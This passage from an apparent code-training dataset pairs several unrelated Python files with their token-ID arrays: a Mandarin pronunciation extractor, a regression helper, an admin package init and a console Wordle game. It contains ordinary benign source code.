5344,
29901,
7442,
29889,
299,
2378,
1125,
13,
4706,
736,
7442,
29889,
12676,
29898,
9302,
29889,
13707,
29918,
517,
29918,
1949,
29898,
9302,
29889,
6051,
351,
29898,
5527,
3958,
29918,
5344,
29897,
847,
14679,
29918,
5344,
29889,
2083,
29898,
8990,
29922,
29900,
4961,
13,
2
] |
wikipron/extract/cmn.py | Alireza-Sampour/wikipron | 1 | 20131 | <gh_stars>1-10
"""Word and pron extraction for (Mandarin) Chinese."""
import itertools
import typing
import requests
from wikipron.extract.default import yield_pron, IPA_XPATH_SELECTOR
if typing.TYPE_CHECKING:
from wikipron.config import Config
from wikipron.typing import Iterator, Word, Pron, WordPronPair
# Select pron from within this li
_PRON_XPATH_TEMPLATE = """
//div[@class="vsHide"]
//ul
//li[(a[@title="w:Mandarin Chinese"])]
"""
def yield_cmn_pron(
request: requests.Response, config: "Config"
) -> "Iterator[Pron]":
for li_container in request.html.xpath(_PRON_XPATH_TEMPLATE):
yield from yield_pron(li_container, IPA_XPATH_SELECTOR, config)
def extract_word_pron_cmn(
word: "Word", request: requests.Response, config: "Config"
) -> "Iterator[WordPronPair]":
words = itertools.repeat(word)
prons = yield_cmn_pron(request, config)
yield from zip(words, prons)
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
15945,
29908,
14463,
322,
11504,
4805,
428,
363,
313,
29924,
392,
27139,
29897,
10013,
1213,
15945,
13,
13,
5215,
4256,
8504,
13,
5215,
19229,
13,
13,
5215,
7274,
13,
13,
3166,
281,
10058,
558,
265,
29889,
21111,
29889,
4381,
1053,
7709,
29918,
558,
265,
29892,
5641,
29909,
29918,
29990,
10145,
29918,
6404,
1955,
13,
13,
13,
361,
19229,
29889,
11116,
29918,
3210,
16658,
4214,
29901,
13,
1678,
515,
281,
10058,
558,
265,
29889,
2917,
1053,
12782,
13,
1678,
515,
281,
10058,
558,
265,
29889,
1017,
15702,
1053,
20504,
1061,
29892,
10803,
29892,
1588,
265,
29892,
10803,
29925,
1617,
20547,
13,
13,
13,
29937,
7605,
11504,
515,
2629,
445,
619,
13,
29918,
10593,
1164,
29918,
29990,
10145,
29918,
4330,
3580,
29931,
3040,
353,
9995,
13,
1678,
849,
4563,
17548,
1990,
543,
4270,
29950,
680,
3108,
13,
4706,
849,
352,
13,
9651,
849,
492,
15625,
29874,
17548,
3257,
543,
29893,
29901,
29924,
392,
27139,
10013,
20068,
29962,
13,
15945,
29908,
13,
13,
13,
1753,
7709,
29918,
4912,
29876,
29918,
558,
265,
29898,
13,
1678,
2009,
29901,
7274,
29889,
5103,
29892,
2295,
29901,
376,
3991,
29908,
13,
29897,
1599,
376,
20277,
29961,
29925,
1617,
29962,
1115,
13,
1678,
363,
619,
29918,
7611,
297,
2009,
29889,
1420,
29889,
23635,
7373,
10593,
1164,
29918,
29990,
10145,
29918,
4330,
3580,
29931,
3040,
1125,
13,
4706,
7709,
515,
7709,
29918,
558,
265,
29898,
492,
29918,
7611,
29892,
5641,
29909,
29918,
29990,
10145,
29918,
6404,
1955,
29892,
2295,
29897,
13,
13,
13,
1753,
6597,
29918,
1742,
29918,
558,
265,
29918,
4912,
29876,
29898,
13,
1678,
1734,
29901,
376,
14463,
613,
2009,
29901,
7274,
29889,
5103,
29892,
2295,
29901,
376,
3991,
29908,
13,
29897,
1599,
376,
20277,
29961,
14463,
29925,
1617,
20547,
29962,
1115,
13,
1678,
3838,
353,
4256,
8504,
29889,
14358,
29898,
1742,
29897,
13,
1678,
544,
787,
353,
7709,
29918,
4912,
29876,
29918,
558,
265,
29898,
3827,
29892,
2295,
29897,
13,
1678,
7709,
515,
14319,
29898,
9303,
29892,
544,
787,
29897,
13,
2
] |
rasp/analysis/regression.py | CreeperLin/RASP | 1 | 58632 | <filename>rasp/analysis/regression.py
import numpy as np
from ..utils.config import CFG
from sklearn.preprocessing import OneHotEncoder
from sklearn.metrics import r2_score, mean_squared_error, mean_absolute_error
def get_linear_model():
from sklearn.linear_model import LinearRegression
model = LinearRegression()
return model
def get_ridge_model():
from sklearn.linear_model import Ridge
model = Ridge(alpha=.5, )
return model
def get_xgboost_model():
import xgboost as xgb
model = xgb.XGBRegressor(learning_rate=0.1,
n_estimators=1000,
max_depth=5,
gamma=0,
subsample=0.8,
colsample_bytree=0.8,
nthread=4,
seed=27)
return model
def get_mlp_model():
from sklearn.neural_network import MLPRegressor
model = MLPRegressor(
hidden_layer_sizes=(3, ),
alpha=.5,
verbose=True,
)
return model
model_creator = {
'linear': get_linear_model,
'ridge': get_ridge_model,
'xgb': get_xgboost_model,
'mlp': get_mlp_model,
}
def get_regress_model(model_desc):
if model_desc in model_creator:
model = model_creator[model_desc]()
else:
raise ValueError('unsupported model: {}'.format(model_desc))
return model
class Regressor():
def __init__(self, model=None):
super().__init__()
model = model or CFG.analysis.regress_model
self.model = get_regress_model(model)
def set_vars(self, observe, target):
self.var_observe = observe or self.var_observe
self.var_target = target or self.var_target
print('regress: vars: obs:{} tgt:{}'.format(self.var_observe,
self.var_target))
def filter(self, df, col_name, row_filter=None):
df = df if row_filter is None else df[row_filter]
data = []
for n in col_name:
item = df[n] if len(df) == 1 else df[n][:1].item()
if isinstance(item, str):
enc = OneHotEncoder(sparse=False)
d = enc.fit_transform(df[n].to_numpy().reshape(-1, 1))
elif isinstance(item, tuple):
d = np.array([i[0] for i in df[n]]).reshape(-1, 1)
else:
d = df[n].to_numpy().reshape(-1, 1)
data.append(d)
data = np.concatenate(data, axis=-1)
print('regress: filter: {}'.format(data.shape))
return data
def fit(self, X, y):
self.model.fit(X, y)
def predict(self, X):
return self.model.predict(X)
def test(self, X, y):
y_pred = self.model.predict(X)
print('regress r2: {}'.format(r2_score(y, y_pred)))
print('regress rmse: {}'.format(mean_squared_error(y, y_pred)**0.5))
print('regress mae: {}'.format(mean_absolute_error(y, y_pred)))
def train(self, X, y):
from sklearn.model_selection import train_test_split
x_train, x_test, y_train, y_test = train_test_split(X,
y,
test_size=0.3)
print(x_train.shape)
print(y_train.shape)
print(x_test.shape)
print(y_test.shape)
self.fit(x_train, y_train)
self.test(x_test, y_test)
| [
1,
529,
9507,
29958,
3417,
29886,
29914,
15916,
29914,
276,
11476,
29889,
2272,
13,
5215,
12655,
408,
7442,
13,
3166,
6317,
13239,
29889,
2917,
1053,
17861,
29954,
13,
3166,
2071,
19668,
29889,
1457,
19170,
1053,
3118,
28917,
8566,
6119,
13,
3166,
2071,
19668,
29889,
2527,
10817,
1053,
364,
29906,
29918,
13628,
29892,
2099,
29918,
26613,
1965,
29918,
2704,
29892,
2099,
29918,
23552,
29918,
2704,
13,
13,
13,
1753,
679,
29918,
10660,
29918,
4299,
7295,
13,
1678,
515,
2071,
19668,
29889,
10660,
29918,
4299,
1053,
22985,
4597,
23881,
13,
1678,
1904,
353,
22985,
4597,
23881,
580,
13,
1678,
736,
1904,
13,
13,
13,
1753,
679,
29918,
8605,
29918,
4299,
7295,
13,
1678,
515,
2071,
19668,
29889,
10660,
29918,
4299,
1053,
390,
5525,
13,
1678,
1904,
353,
390,
5525,
29898,
2312,
21098,
29945,
29892,
1723,
13,
1678,
736,
1904,
13,
13,
13,
1753,
679,
29918,
29916,
29887,
17079,
29918,
4299,
7295,
13,
1678,
1053,
921,
29887,
17079,
408,
921,
26300,
13,
1678,
1904,
353,
921,
26300,
29889,
29990,
7210,
4597,
1253,
272,
29898,
21891,
29918,
10492,
29922,
29900,
29889,
29896,
29892,
13,
462,
632,
302,
29918,
342,
326,
4097,
29922,
29896,
29900,
29900,
29900,
29892,
13,
462,
632,
4236,
29918,
19488,
29922,
29945,
29892,
13,
462,
632,
330,
2735,
29922,
29900,
29892,
13,
462,
632,
1014,
11249,
29922,
29900,
29889,
29947,
29892,
13,
462,
632,
784,
11249,
29918,
1609,
8336,
29922,
29900,
29889,
29947,
29892,
13,
462,
632,
302,
7097,
29922,
29946,
29892,
13,
462,
632,
16717,
29922,
29906,
29955,
29897,
13,
1678,
736,
1904,
13,
13,
13,
1753,
679,
29918,
828,
29886,
29918,
4299,
7295,
13,
1678,
515,
2071,
19668,
29889,
484,
3631,
29918,
11618,
1053,
341,
13208,
4597,
1253,
272,
13,
1678,
1904,
353,
341,
13208,
4597,
1253,
272,
29898,
13,
4706,
7934,
29918,
13148,
29918,
29879,
7093,
7607,
29941,
29892,
10353,
13,
4706,
15595,
21098,
29945,
29892,
13,
4706,
26952,
29922,
5574,
29892,
13,
1678,
1723,
13,
1678,
736,
1904,
13,
13,
13,
4299,
29918,
1037,
1061,
353,
426,
13,
1678,
525,
10660,
2396,
679,
29918,
10660,
29918,
4299,
29892,
13,
1678,
525,
8605,
2396,
679,
29918,
8605,
29918,
4299,
29892,
13,
1678,
525,
29916,
26300,
2396,
679,
29918,
29916,
29887,
17079,
29918,
4299,
29892,
13,
1678,
525,
828,
29886,
2396,
679,
29918,
828,
29886,
29918,
4299,
29892,
13,
29913,
13,
13,
13,
1753,
679,
29918,
276,
3663,
29918,
4299,
29898,
4299,
29918,
14273,
1125,
13,
1678,
565,
1904,
29918,
14273,
297,
1904,
29918,
1037,
1061,
29901,
13,
4706,
1904,
353,
1904,
29918,
1037,
1061,
29961,
4299,
29918,
14273,
29962,
580,
13,
1678,
1683,
29901,
13,
4706,
12020,
7865,
2392,
877,
348,
23765,
1904,
29901,
6571,
4286,
4830,
29898,
4299,
29918,
14273,
876,
13,
1678,
736,
1904,
13,
13,
13,
1990,
2169,
1253,
272,
7295,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1904,
29922,
8516,
1125,
13,
4706,
2428,
2141,
1649,
2344,
1649,
580,
13,
4706,
1904,
353,
1904,
470,
17861,
29954,
29889,
15916,
29889,
276,
3663,
29918,
4299,
13,
4706,
1583,
29889,
4299,
353,
679,
29918,
276,
3663,
29918,
4299,
29898,
4299,
29897,
13,
13,
1678,
822,
731,
29918,
16908,
29898,
1311,
29892,
14111,
29892,
3646,
1125,
13,
4706,
1583,
29889,
1707,
29918,
711,
16349,
353,
14111,
470,
1583,
29889,
1707,
29918,
711,
16349,
13,
4706,
1583,
29889,
1707,
29918,
5182,
353,
3646,
470,
1583,
29889,
1707,
29918,
5182,
13,
4706,
1596,
877,
276,
3663,
29901,
24987,
29901,
20881,
29901,
8875,
260,
4141,
29901,
8875,
4286,
4830,
29898,
1311,
29889,
1707,
29918,
711,
16349,
29892,
13,
462,
462,
462,
1678,
1583,
29889,
1707,
29918,
5182,
876,
13,
13,
1678,
822,
4175,
29898,
1311,
29892,
4489,
29892,
784,
29918,
978,
29892,
1948,
29918,
4572,
29922,
8516,
1125,
13,
4706,
4489,
353,
4489,
565,
1948,
29918,
4572,
338,
6213,
1683,
4489,
29961,
798,
29918,
4572,
29962,
13,
4706,
848,
353,
5159,
13,
4706,
363,
302,
297,
784,
29918,
978,
29901,
13,
9651,
2944,
353,
4489,
29961,
29876,
29962,
565,
7431,
29898,
2176,
29897,
1275,
29871,
29896,
1683,
4489,
29961,
29876,
3816,
29901,
29896,
1822,
667,
580,
13,
9651,
565,
338,
8758,
29898,
667,
29892,
851,
1125,
13,
18884,
2094,
353,
3118,
28917,
8566,
6119,
29898,
29879,
5510,
29922,
8824,
29897,
13,
18884,
270,
353,
2094,
29889,
9202,
29918,
9067,
29898,
2176,
29961,
29876,
1822,
517,
29918,
23749,
2141,
690,
14443,
6278,
29896,
29892,
29871,
29896,
876,
13,
9651,
25342,
338,
8758,
29898,
667,
29892,
18761,
1125,
13,
18884,
270,
353,
7442,
29889,
2378,
4197,
29875,
29961,
29900,
29962,
363,
474,
297,
4489,
29961,
29876,
5262,
467,
690,
14443,
6278,
29896,
29892,
29871,
29896,
29897,
13,
9651,
1683,
29901,
13,
18884,
270,
353,
4489,
29961,
29876,
1822,
517,
29918,
23749,
2141,
690,
14443,
6278,
29896,
29892,
29871,
29896,
29897,
13,
9651,
848,
29889,
4397,
29898,
29881,
29897,
13,
4706,
848,
353,
7442,
29889,
535,
29883,
2579,
403,
29898,
1272,
29892,
9685,
10457,
29896,
29897,
13,
13,
4706,
1596,
877,
276,
3663,
29901,
4175,
29901,
6571,
4286,
4830,
29898,
1272,
29889,
12181,
876,
13,
4706,
736,
848,
13,
13,
1678,
822,
6216,
29898,
1311,
29892,
1060,
29892,
343,
1125,
13,
4706,
1583,
29889,
4299,
29889,
9202,
29898,
29990,
29892,
343,
29897,
13,
13,
1678,
822,
8500,
29898,
1311,
29892,
1060,
1125,
13,
4706,
736,
1583,
29889,
4299,
29889,
27711,
29898,
29990,
29897,
13,
13,
1678,
822,
1243,
29898,
1311,
29892,
1060,
29892,
343,
1125,
13,
4706,
343,
29918,
11965,
353,
1583,
29889,
4299,
29889,
27711,
29898,
29990,
29897,
13,
4706,
1596,
877,
276,
3663,
364,
29906,
29901,
6571,
4286,
4830,
29898,
29878,
29906,
29918,
13628,
29898,
29891,
29892,
343,
29918,
11965,
4961,
13,
4706,
1596,
877,
276,
3663,
20241,
344,
29901,
6571,
4286,
4830,
29898,
12676,
29918,
26613,
1965,
29918,
2704,
29898,
29891,
29892,
343,
29918,
11965,
29897,
1068,
29900,
29889,
29945,
876,
13,
4706,
1596,
877,
276,
3663,
611,
29872,
29901,
6571,
4286,
4830,
29898,
12676,
29918,
23552,
29918,
2704,
29898,
29891,
29892,
343,
29918,
11965,
4961,
13,
13,
1678,
822,
7945,
29898,
1311,
29892,
1060,
29892,
343,
1125,
13,
4706,
515,
2071,
19668,
29889,
4299,
29918,
21731,
1053,
7945,
29918,
1688,
29918,
5451,
13,
4706,
921,
29918,
14968,
29892,
921,
29918,
1688,
29892,
343,
29918,
14968,
29892,
343,
29918,
1688,
353,
7945,
29918,
1688,
29918,
5451,
29898,
29990,
29892,
13,
462,
462,
462,
9651,
343,
29892,
13,
462,
462,
462,
9651,
1243,
29918,
2311,
29922,
29900,
29889,
29941,
29897,
13,
4706,
1596,
29898,
29916,
29918,
14968,
29889,
12181,
29897,
13,
4706,
1596,
29898,
29891,
29918,
14968,
29889,
12181,
29897,
13,
4706,
1596,
29898,
29916,
29918,
1688,
29889,
12181,
29897,
13,
4706,
1596,
29898,
29891,
29918,
1688,
29889,
12181,
29897,
13,
4706,
1583,
29889,
9202,
29898,
29916,
29918,
14968,
29892,
343,
29918,
14968,
29897,
13,
4706,
1583,
29889,
1688,
29898,
29916,
29918,
1688,
29892,
343,
29918,
1688,
29897,
13,
2
] |
backend/admin/__init__.py | szkkteam/agrosys | 0 | 180799 | <reponame>szkkteam/agrosys<gh_stars>0
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Common Python library imports
# Pip package imports
# Internal package imports
from backend.magic import Bundle
from .macro import macro
from .model_admin import ModelAdmin
from .file_admin import FileAdmin
admin_bundle = Bundle(__name__)
| [
1,
529,
276,
1112,
420,
29958,
3616,
6859,
14318,
29914,
351,
1883,
952,
29966,
12443,
29918,
303,
1503,
29958,
29900,
13,
29937,
14708,
4855,
29914,
2109,
29914,
6272,
3017,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
29937,
13103,
5132,
3489,
24802,
13,
29937,
349,
666,
3577,
24802,
13,
29937,
512,
1890,
3577,
24802,
13,
3166,
14998,
29889,
11082,
293,
1053,
24470,
13,
13,
3166,
869,
25254,
1053,
11758,
13,
3166,
869,
4299,
29918,
6406,
1053,
8125,
12754,
13,
3166,
869,
1445,
29918,
6406,
1053,
3497,
12754,
13,
13,
13,
6406,
29918,
16718,
353,
24470,
22168,
978,
1649,
29897,
13,
2
] |
main.py | Tortle6/wordle-console | 0 | 105868 | <filename>main.py
# Import packages
import random
from string import ascii_lowercase
from read_file import read_file
import enchant
from colorama import Fore, init
init(autoreset=True)
d = enchant.Dict("en_US")
# Read config file
SOLUTION_FILE = "solution_words.json"
SETTINGS_FILE = "settings.json"
settings = read_file(SETTINGS_FILE)
try:
WIDTH = settings["board_width"]
HEIGHT = settings["board_height"]
except KeyError:
input(f"Invalid key for {SOLUTION_FILE}. Press enter to close. ")
exit()
EMPTY = "—"
# Class game
class Game:
def __init__(self, solution_words_dict):
self.board = [[EMPTY for _ in range(WIDTH)] for _ in range(HEIGHT)]
try:
if WIDTH > 1:
self.solution_word = random.choice(solution_words_dict[str(WIDTH)])
else:
self.solution_word = random.choice(ascii_lowercase)
except KeyError:
input(f"Invalid key for {SOLUTION_FILE}. Is the width correct? Press enter to close. ")
exit()
self.correct_places = set()
self.incorrect_places = set()
self.wrong_letter = set()
def run_game(self):
# Logic of the game
while True:
self.print_board()
self.print_letters()
self.input_word()
# Check if won
if won := self.win_check() is not None:
if not won:
self.print_board()
print(f"{Fore.RED}You lose!\n"*3)
self.share()
print(f"The word was {self.solution_word}")
break
def input_word(self):
while True:
# Allow the user to input a word
user_word = input("Enter a word: ").lower()
# Check if the word is valid
if len(user_word) != WIDTH:
print(f"{Fore.RED}Incorrect length")
continue
if not d.check(user_word):
print(f"{Fore.RED}Not a real word")
continue
if list(user_word) in self.board:
print(f"{Fore.RED}Word already given")
continue
break
# Put user's guess in board
for i, word in enumerate(self.board):
if word[0] == EMPTY:
self.board[i] = list(user_word)
break
def print_board(self): # Print the board
print()
for word in self.board:
solution_word_list = list(self.solution_word)
for i, letter in enumerate(word):
if letter in solution_word_list:
if solution_word_list[i] == letter: # If the letter is in the correct place
self.correct_places.add(letter)
if letter in self.incorrect_places:
self.incorrect_places.remove(letter)
color_fore = Fore.GREEN
else: # If the letter is in an incorrect place but it is in the final word
if letter not in self.correct_places:
self.incorrect_places.add(letter)
color_fore = Fore.YELLOW
for x in range(len(solution_word_list)): # Remove letter from the solution word list
if solution_word_list[x] == letter:
solution_word_list[x] = ""
break
else: # If the letter is not in the final word
self.wrong_letter.add(letter)
color_fore = ""
print(f'{color_fore}{word[i]}', end=" ") # Print the letter
print()
def print_letters(self):
# Print correct, incorrect, and wrong letters
for letter in ascii_lowercase:
color = ""
if letter in self.correct_places:
color = Fore.GREEN
elif letter in self.incorrect_places:
color = Fore.YELLOW
elif letter in self.wrong_letter:
color = Fore.RED
print(f"{color}{letter.upper()}", end=" ")
print()
def win_check(self):
for word in self.board:
solution_list = list(self.solution_word)
if word == solution_list:
self.print_board()
print(f"{Fore.GREEN}You win!\n"*3)
return True
return False if self.board[-1][-1] != EMPTY else None
def share(self):
print("Shareable emojis:")
for word in self.board:
if word[0] == EMPTY:
break
for i, solution_letter in enumerate(self.solution_word):
letter = word[i]
if solution_letter == letter:
print("\N{Large Green Square}", end="")
elif letter in self.solution_word:
print("\N{Large Yellow Square}", end="")
else:
print("\N{Black Large Square}", end="")
print()
# Functions
def main():
solution_words = read_file(SOLUTION_FILE)
while True:
g = Game(solution_words)
g.run_game()
if __name__ == "__main__":
main()
| [
1,
529,
9507,
29958,
3396,
29889,
2272,
13,
29937,
16032,
9741,
30004,
13,
5215,
4036,
30004,
13,
3166,
1347,
1053,
408,
18869,
29918,
13609,
4878,
30004,
13,
30004,
13,
3166,
1303,
29918,
1445,
1053,
1303,
29918,
1445,
30004,
13,
30004,
13,
5215,
427,
13775,
30004,
13,
3166,
2927,
3304,
1053,
28297,
29892,
2069,
30004,
13,
30004,
13,
2344,
29898,
1300,
2361,
300,
29922,
5574,
8443,
13,
29881,
353,
427,
13775,
29889,
21533,
703,
264,
29918,
3308,
1159,
30004,
13,
30004,
13,
29937,
7523,
2295,
934,
30004,
13,
29903,
5607,
2692,
2725,
29918,
7724,
353,
376,
2929,
918,
29918,
9303,
29889,
3126,
19451,
13,
10490,
29911,
4214,
29903,
29918,
7724,
353,
376,
11027,
29889,
3126,
19451,
13,
30004,
13,
11027,
353,
1303,
29918,
1445,
29898,
10490,
29911,
4214,
29903,
29918,
7724,
8443,
13,
30004,
13,
2202,
29901,
30004,
13,
1678,
399,
1367,
4690,
353,
6055,
3366,
3377,
29918,
2103,
3108,
30004,
13,
1678,
17714,
22530,
353,
6055,
3366,
3377,
29918,
3545,
3108,
30004,
13,
19499,
7670,
2392,
29901,
30004,
13,
1678,
1881,
29898,
29888,
29908,
13919,
1820,
363,
426,
29903,
5607,
2692,
2725,
29918,
7724,
1836,
5254,
3896,
304,
3802,
29889,
376,
8443,
13,
1678,
6876,
26471,
13,
30004,
13,
29923,
3580,
15631,
353,
376,
30003,
19451,
13,
30004,
13,
30004,
13,
29937,
4134,
3748,
30004,
13,
1990,
8448,
29901,
30004,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1650,
29918,
9303,
29918,
8977,
1125,
30004,
13,
4706,
1583,
29889,
3377,
353,
5519,
29923,
3580,
15631,
363,
903,
297,
3464,
29898,
22574,
4638,
363,
903,
297,
3464,
29898,
9606,
22530,
4638,
30004,
13,
30004,
13,
4706,
1018,
29901,
30004,
13,
9651,
565,
399,
1367,
4690,
1405,
29871,
29896,
29901,
30004,
13,
18884,
1583,
29889,
2929,
918,
29918,
1742,
353,
4036,
29889,
16957,
29898,
2929,
918,
29918,
9303,
29918,
8977,
29961,
710,
29898,
22574,
29897,
2314,
30004,
13,
9651,
1683,
29901,
30004,
13,
18884,
1583,
29889,
2929,
918,
29918,
1742,
353,
4036,
29889,
16957,
29898,
294,
18869,
29918,
13609,
4878,
8443,
13,
30004,
13,
4706,
5174,
7670,
2392,
29901,
30004,
13,
9651,
1881,
29898,
29888,
29908,
13919,
1820,
363,
426,
29903,
5607,
2692,
2725,
29918,
7724,
1836,
1317,
278,
2920,
1959,
29973,
5254,
3896,
304,
3802,
29889,
376,
8443,
13,
9651,
6876,
26471,
13,
30004,
13,
4706,
1583,
29889,
15728,
29918,
29886,
6048,
353,
731,
26471,
13,
4706,
1583,
29889,
262,
15728,
29918,
29886,
6048,
353,
731,
26471,
13,
4706,
1583,
29889,
15866,
549,
29918,
15670,
353,
731,
26471,
13,
30004,
13,
1678,
822,
1065,
29918,
11802,
29898,
1311,
1125,
30004,
13,
4706,
396,
4522,
293,
310,
278,
3748,
30004,
13,
4706,
1550,
5852,
29901,
30004,
13,
9651,
1583,
29889,
2158,
29918,
3377,
26471,
13,
9651,
1583,
29889,
2158,
29918,
1026,
2153,
26471,
13,
9651,
1583,
29889,
2080,
29918,
1742,
26471,
13,
30004,
13,
9651,
396,
5399,
565,
2113,
30004,
13,
9651,
565,
2113,
3490,
1583,
29889,
5080,
29918,
3198,
580,
338,
451,
6213,
29901,
30004,
13,
18884,
565,
451,
2113,
29901,
30004,
13,
462,
1678,
1583,
29889,
2158,
29918,
3377,
26471,
13,
462,
1678,
1596,
29898,
29888,
29908,
29912,
29943,
487,
29889,
19386,
29913,
3492,
14074,
9903,
29876,
29908,
29930,
29941,
8443,
13,
18884,
1583,
29889,
13653,
26471,
13,
18884,
1596,
29898,
29888,
29908,
1576,
1734,
471,
426,
1311,
29889,
2929,
918,
29918,
1742,
27195,
30004,
13,
18884,
2867,
30004,
13,
30004,
13,
1678,
822,
1881,
29918,
1742,
29898,
1311,
1125,
30004,
13,
4706,
1550,
5852,
29901,
30004,
13,
9651,
396,
29408,
278,
1404,
304,
1881,
263,
1734,
30004,
13,
9651,
1404,
29918,
1742,
353,
1881,
703,
10399,
263,
1734,
29901,
376,
467,
13609,
26471,
13,
30004,
13,
9651,
396,
5399,
565,
278,
1734,
338,
2854,
30004,
13,
9651,
565,
7431,
29898,
1792,
29918,
1742,
29897,
2804,
399,
1367,
4690,
29901,
30004,
13,
18884,
1596,
29898,
29888,
29908,
29912,
29943,
487,
29889,
19386,
29913,
797,
15728,
3309,
1159,
30004,
13,
18884,
6773,
30004,
13,
30004,
13,
9651,
565,
451,
270,
29889,
3198,
29898,
1792,
29918,
1742,
1125,
30004,
13,
18884,
1596,
29898,
29888,
29908,
29912,
29943,
487,
29889,
19386,
29913,
3664,
263,
1855,
1734,
1159,
30004,
13,
18884,
6773,
30004,
13,
30004,
13,
9651,
565,
1051,
29898,
1792,
29918,
1742,
29897,
297,
1583,
29889,
3377,
29901,
30004,
13,
18884,
1596,
29898,
29888,
29908,
29912,
29943,
487,
29889,
19386,
29913,
14463,
2307,
2183,
1159,
30004,
13,
18884,
6773,
30004,
13,
9651,
2867,
30004,
13,
30004,
13,
4706,
396,
12065,
1404,
29915,
29879,
4140,
297,
7613,
30004,
13,
4706,
363,
474,
29892,
1734,
297,
26985,
29898,
1311,
29889,
3377,
1125,
30004,
13,
9651,
565,
1734,
29961,
29900,
29962,
1275,
382,
3580,
15631,
29901,
30004,
13,
18884,
1583,
29889,
3377,
29961,
29875,
29962,
353,
1051,
29898,
1792,
29918,
1742,
8443,
13,
18884,
2867,
30004,
13,
30004,
13,
1678,
822,
1596,
29918,
3377,
29898,
1311,
1125,
29871,
396,
13905,
278,
7613,
30004,
13,
4706,
1596,
26471,
13,
30004,
13,
4706,
363,
1734,
297,
1583,
29889,
3377,
29901,
30004,
13,
9651,
1650,
29918,
1742,
29918,
1761,
353,
1051,
29898,
1311,
29889,
2929,
918,
29918,
1742,
8443,
13,
30004,
13,
9651,
363,
474,
29892,
5497,
297,
26985,
29898,
1742,
1125,
30004,
13,
18884,
565,
5497,
297,
1650,
29918,
1742,
29918,
1761,
29901,
30004,
13,
462,
1678,
565,
1650,
29918,
1742,
29918,
1761,
29961,
29875,
29962,
1275,
5497,
29901,
29871,
396,
960,
278,
5497,
338,
297,
278,
1959,
2058,
30004,
13,
462,
4706,
1583,
29889,
15728,
29918,
29886,
6048,
29889,
1202,
29898,
15670,
8443,
13,
30004,
13,
462,
4706,
565,
5497,
297,
1583,
29889,
262,
15728,
29918,
29886,
6048,
29901,
30004,
13,
462,
9651,
1583,
29889,
262,
15728,
29918,
29886,
6048,
29889,
5992,
29898,
15670,
8443,
13,
30004,
13,
462,
4706,
2927,
29918,
1079,
353,
28297,
29889,
29954,
1525,
1430,
30004,
13,
30004,
13,
462,
1678,
1683,
29901,
29871,
396,
960,
278,
5497,
338,
297,
385,
10240,
2058,
541,
372,
338,
297,
278,
2186,
1734,
30004,
13,
462,
4706,
565,
5497,
451,
297,
1583,
29889,
15728,
29918,
29886,
6048,
29901,
30004,
13,
462,
9651,
1583,
29889,
262,
15728,
29918,
29886,
6048,
29889,
1202,
29898,
15670,
8443,
13,
30004,
13,
462,
4706,
2927,
29918,
1079,
353,
28297,
29889,
29979,
29923,
2208,
9806,
30004,
13,
30004,
13,
462,
1678,
363,
921,
297,
3464,
29898,
2435,
29898,
2929,
918,
29918,
1742,
29918,
1761,
22164,
29871,
396,
15154,
5497,
515,
278,
1650,
1734,
1051,
30004,
13,
462,
4706,
565,
1650,
29918,
1742,
29918,
1761,
29961,
29916,
29962,
1275,
5497,
29901,
30004,
13,
462,
9651,
1650,
29918,
1742,
29918,
1761,
29961,
29916,
29962,
353,
5124,
30004,
13,
462,
9651,
2867,
30004,
13,
30004,
13,
18884,
1683,
29901,
29871,
396,
960,
278,
5497,
338,
451,
297,
278,
2186,
1734,
30004,
13,
462,
1678,
1583,
29889,
15866,
549,
29918,
15670,
29889,
1202,
29898,
15670,
8443,
13,
462,
1678,
2927,
29918,
1079,
353,
5124,
30004,
13,
30004,
13,
18884,
1596,
29898,
29888,
29915,
29912,
2780,
29918,
1079,
1157,
1742,
29961,
29875,
12258,
742,
1095,
543,
16521,
29871,
396,
13905,
278,
5497,
30004,
13,
9651,
1596,
26471,
13,
30004,
13,
1678,
822,
1596,
29918,
1026,
2153,
29898,
1311,
1125,
30004,
13,
4706,
396,
13905,
1959,
29892,
10240,
29892,
322,
2743,
8721,
30004,
13,
4706,
363,
5497,
297,
408,
18869,
29918,
13609,
4878,
29901,
30004,
13,
9651,
2927,
353,
5124,
30004,
13,
9651,
565,
5497,
297,
1583,
29889,
15728,
29918,
29886,
6048,
29901,
30004,
13,
18884,
2927,
353,
28297,
29889,
29954,
1525,
1430,
30004,
13,
30004,
13,
9651,
25342,
5497,
297,
1583,
29889,
262,
15728,
29918,
29886,
6048,
29901,
30004,
13,
18884,
2927,
353,
28297,
29889,
29979,
29923,
2208,
9806,
30004,
13,
30004,
13,
9651,
25342,
5497,
297,
1583,
29889,
15866,
549,
29918,
15670,
29901,
30004,
13,
18884,
2927,
353,
28297,
29889,
19386,
30004,
13,
30004,
13,
9651,
1596,
29898,
29888,
29908,
29912,
2780,
1157,
15670,
29889,
21064,
580,
17671,
1095,
543,
376,
8443,
13,
4706,
1596,
26471,
13,
30004,
13,
1678,
822,
5401,
29918,
3198,
29898,
1311,
1125,
30004,
13,
4706,
363,
1734,
297,
1583,
29889,
3377,
29901,
30004,
13,
9651,
1650,
29918,
1761,
353,
1051,
29898,
1311,
29889,
2929,
918,
29918,
1742,
8443,
13,
30004,
13,
9651,
565,
1734,
1275,
1650,
29918,
1761,
29901,
30004,
13,
18884,
1583,
29889,
2158,
29918,
3377,
26471,
13,
18884,
1596,
29898,
29888,
29908,
29912,
29943,
487,
29889,
29954,
1525,
1430,
29913,
3492,
5401,
9903,
29876,
29908,
29930,
29941,
8443,
13,
18884,
736,
5852,
30004,
13,
30004,
13,
4706,
736,
7700,
565,
1583,
29889,
3377,
14352,
29896,
3816,
29899,
29896,
29962,
2804,
382,
3580,
15631,
1683,
6213,
30004,
13,
30004,
13,
1678,
822,
6232,
29898,
1311,
1125,
30004,
13,
4706,
1596,
703,
2713,
598,
519,
953,
3848,
275,
29901,
1159,
30004,
13,
4706,
363,
1734,
297,
1583,
29889,
3377,
29901,
30004,
13,
9651,
565,
1734,
29961,
29900,
29962,
1275,
382,
3580,
15631,
29901,
30004,
13,
18884,
2867,
30004,
13,
30004,
13,
9651,
363,
474,
29892,
1650,
29918,
15670,
297,
26985,
29898,
1311,
29889,
2929,
918,
29918,
1742,
1125,
30004,
13,
18884,
5497,
353,
1734,
29961,
29875,
29962,
30004,
13,
